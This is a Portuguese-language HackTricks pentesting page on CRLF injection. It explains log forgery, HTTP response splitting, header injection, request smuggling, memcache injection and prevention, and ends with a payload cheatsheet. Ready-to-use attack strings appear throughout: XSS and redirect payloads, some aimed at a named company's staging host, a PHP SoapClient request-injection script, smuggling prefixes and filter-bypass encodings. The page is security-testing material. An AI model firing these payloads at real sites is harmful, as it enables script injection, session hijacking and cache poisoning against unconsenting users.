CRLF (%0D%0A) Injection

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

CRLF

Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, sĆ£o sequĆŖncias de caracteres especiais usadas no protocolo HTTP para denotar o fim de uma linha ou o inĆ­cio de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeƧalhos HTTP e o corpo de uma resposta. Esses caracteres sĆ£o universalmente empregados em comunicaƧƵes HTTP/1.1 em vĆ”rios tipos de servidores web, como Apache e Microsoft IIS.

CRLF Injection Vulnerability

A injeĆ§Ć£o CRLF envolve a inserĆ§Ć£o de caracteres CR e LF em entradas fornecidas pelo usuĆ”rio. Essa aĆ§Ć£o engana o servidor, aplicativo ou usuĆ”rio, fazendo com que interpretem a sequĆŖncia injetada como o fim de uma resposta e o inĆ­cio de outra. Embora esses caracteres nĆ£o sejam inerentemente prejudiciais, seu uso indevido pode levar Ć  divisĆ£o de respostas HTTP e outras atividades maliciosas.

Example: CRLF Injection in a Log File

Example from here

Considere um arquivo de log em um painel de administraĆ§Ć£o que segue o formato: IP - Time - Visited Path. Uma entrada tĆ­pica pode parecer:

123.123.123.123 - 08:15 - /index.php?page=home

Um atacante pode explorar uma injeĆ§Ć£o CRLF para manipular este log. Ao injetar caracteres CRLF na solicitaĆ§Ć£o HTTP, o atacante pode alterar o fluxo de saĆ­da e fabricar entradas de log. Por exemplo, uma sequĆŖncia injetada pode transformar a entrada do log em:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Aqui, %0d e %0a representam as formas codificadas em URL de CR e LF. ApĆ³s o ataque, o log exibiria de forma enganosa:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

O atacante, assim, encobre suas atividades maliciosas fazendo parecer que o localhost (uma entidade tipicamente confiĆ”vel dentro do ambiente do servidor) realizou as aƧƵes. O servidor interpreta a parte da consulta que comeƧa com %0d%0a como um Ćŗnico parĆ¢metro, enquanto o parĆ¢metro restrictedaction Ć© analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legĆ­timo: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

DescriĆ§Ć£o

HTTP Response Splitting Ć© uma vulnerabilidade de seguranƧa que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeƧalhos do corpo usando uma sequĆŖncia de caracteres especĆ­fica, Carriage Return (CR) seguido por Line Feed (LF), coletivamente denominado CRLF. Se um atacante conseguir inserir uma sequĆŖncia CRLF em um cabeƧalho de resposta, ele pode efetivamente manipular o conteĆŗdo da resposta subsequente. Esse tipo de manipulaĆ§Ć£o pode levar a sĆ©rios problemas de seguranƧa, notavelmente Cross-site Scripting (XSS).

XSS atravƩs de HTTP Response Splitting

  1. A aplicaĆ§Ć£o define um cabeƧalho personalizado assim: X-Custom-Header: UserInput
  2. A aplicaĆ§Ć£o busca o valor para UserInput de um parĆ¢metro de consulta, digamos "user_input". Em cenĆ”rios que carecem de validaĆ§Ć£o e codificaĆ§Ć£o adequadas de entrada, um atacante pode criar um payload que inclui a sequĆŖncia CRLF, seguida de conteĆŗdo malicioso.
  3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • Nesta URL, %0d%0a%0d%0a Ć© a forma codificada em URL de CRLFCRLF. Isso engana o servidor para inserir uma sequĆŖncia CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
  1. O servidor reflete a entrada do atacante no cabeƧalho da resposta, levando a uma estrutura de resposta nĆ£o intencional onde o script malicioso Ć© interpretado pelo navegador como parte do corpo da resposta.

Um exemplo de HTTP Response Splitting levando a Redirecionamento

De https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Navegador para:

/%0d%0aLocation:%20http://myweb.com

E o servidor responde com o cabeƧalho:

Location: http://myweb.com

Outro exemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

No Caminho da URL

VocĆŖ pode enviar a carga Ćŗtil dentro do caminho da URL para controlar a resposta do servidor (exemplo de aqui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Confira mais exemplos em:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

InjeĆ§Ć£o de CabeƧalho HTTP

A InjeĆ§Ć£o de CabeƧalho HTTP, frequentemente explorada atravĆ©s da injeĆ§Ć£o CRLF (Carriage Return and Line Feed), permite que atacantes insiram cabeƧalhos HTTP. Isso pode comprometer mecanismos de seguranƧa, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando ao acesso nĆ£o autorizado a dados sensĆ­veis, como tokens CSRF, ou Ć  manipulaĆ§Ć£o de sessƵes de usuĆ”rio atravĆ©s do plantio de cookies.

Explorando CORS via InjeĆ§Ć£o de CabeƧalho HTTP

Um atacante pode injetar cabeƧalhos HTTP para habilitar CORS (Cross-Origin Resource Sharing), contornando as restriƧƵes impostas pela SOP. Essa violaĆ§Ć£o permite que scripts de origens maliciosas interajam com recursos de uma origem diferente, potencialmente acessando dados protegidos.

SSRF e InjeĆ§Ć£o de RequisiĆ§Ć£o HTTP via CRLF

A injeĆ§Ć£o CRLF pode ser utilizada para criar e injetar uma nova requisiĆ§Ć£o HTTP. Um exemplo notĆ”vel disso Ć© a vulnerabilidade na classe SoapClient do PHP, especificamente dentro do parĆ¢metro user_agent. Ao manipular esse parĆ¢metro, um atacante pode inserir cabeƧalhos adicionais e conteĆŗdo do corpo, ou atĆ© mesmo injetar uma nova requisiĆ§Ć£o HTTP completamente. Abaixo estĆ” um exemplo em PHP demonstrando essa exploraĆ§Ć£o:

php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

InjeĆ§Ć£o de CabeƧalho para Smuggling de RequisiƧƵes

Para mais informaƧƵes sobre esta tƩcnica e problemas potenciais verifique a fonte original.

VocĆŖ pode injetar cabeƧalhos essenciais para garantir que o back-end mantenha a conexĆ£o aberta apĆ³s responder Ć  requisiĆ§Ć£o inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Depois, uma segunda solicitaĆ§Ć£o pode ser especificada. Este cenĆ”rio geralmente envolve HTTP request smuggling, uma tĆ©cnica onde cabeƧalhos extras ou elementos de corpo adicionados pelo servidor apĆ³s a injeĆ§Ć£o podem levar a vĆ”rias exploraƧƵes de seguranƧa.

ExploraĆ§Ć£o:

  1. InjeĆ§Ć£o de Prefixo Malicioso: Este mĆ©todo envolve envenenar a solicitaĆ§Ć£o do prĆ³ximo usuĆ”rio ou um cache da web especificando um prefixo malicioso. Um exemplo disso Ć©:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Criando um Prefixo para Envenenamento da Fila de Respostas: Esta abordagem envolve criar um prefixo que, quando combinado com lixo no final, forma uma segunda solicitaĆ§Ć£o completa. Isso pode acionar o envenenamento da fila de respostas. Um exemplo Ć©:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

InjeĆ§Ć£o de Memcache

Memcache Ʃ um armazenamento de chave-valor que usa um protocolo de texto claro. Mais informaƧƵes em:

11211 - Pentesting Memcache

Para informaƧƵes completas, leia o relato original

Se uma plataforma estiver pegando dados de uma solicitaĆ§Ć£o HTTP e usando-os sem sanitizaĆ§Ć£o para realizar solicitaƧƵes a um servidor memcache, um atacante poderia abusar desse comportamento para injetar novos comandos memcache.

Por exemplo, na vulnerabilidade descoberta originalmente, chaves de cache eram usadas para retornar o IP e a porta a que um usuƔrio deveria se conectar, e os atacantes conseguiram injetar comandos memcache que envenenariam o cache para enviar os detalhes das vƭtimas (nomes de usuƔrio e senhas incluƭdos) para os servidores do atacante:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

AlĆ©m disso, os pesquisadores tambĆ©m descobriram que poderiam desincronizar as respostas do memcache para enviar o IP e as portas dos atacantes para usuĆ”rios cujo e-mail o atacante nĆ£o conhecia:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Como Prevenir InjeƧƵes CRLF / HTTP Header em AplicaƧƵes Web

Para mitigar os riscos de injeƧƵes CRLF (Carriage Return e Line Feed) ou HTTP Header em aplicaƧƵes web, as seguintes estratĆ©gias sĆ£o recomendadas:

  1. Evitar Entrada Direta do UsuƔrio em CabeƧalhos de Resposta: A abordagem mais segura Ʃ evitar incorporar a entrada fornecida pelo usuƔrio diretamente nos cabeƧalhos de resposta.
  2. Codificar Caracteres Especiais: Se evitar a entrada direta do usuĆ”rio nĆ£o for viĆ”vel, certifique-se de empregar uma funĆ§Ć£o dedicada Ć  codificaĆ§Ć£o de caracteres especiais como CR (Carriage Return) e LF (Line Feed). Essa prĆ”tica previne a possibilidade de injeĆ§Ć£o CRLF.
  3. Atualizar Linguagem de ProgramaĆ§Ć£o: Atualize regularmente a linguagem de programaĆ§Ć£o usada em suas aplicaƧƵes web para a versĆ£o mais recente. Opte por uma versĆ£o que inherentemente nĆ£o permita a injeĆ§Ć£o de caracteres CR e LF dentro das funƧƵes encarregadas de definir cabeƧalhos HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
ā€¢ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
ā€¢ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
ā€¢ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
ā€¢ /google.com/%2F..%0D%0AHeader-Test:test2
ā€¢ /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
ā€¢ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
ā€¢ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
ā€¢ %E5%98%8A = %0A = \u560a
ā€¢ %E5%98%8D = %0D = \u560d
ā€¢ %E5%98%BE = %3E = \u563e (>)
ā€¢ %E5%98%BC = %3C = \u563c (<)
ā€¢ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Ferramentas AutomƔticas

Lista de DetecĆ§Ć£o de ForƧa Bruta

ReferĆŖncias

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks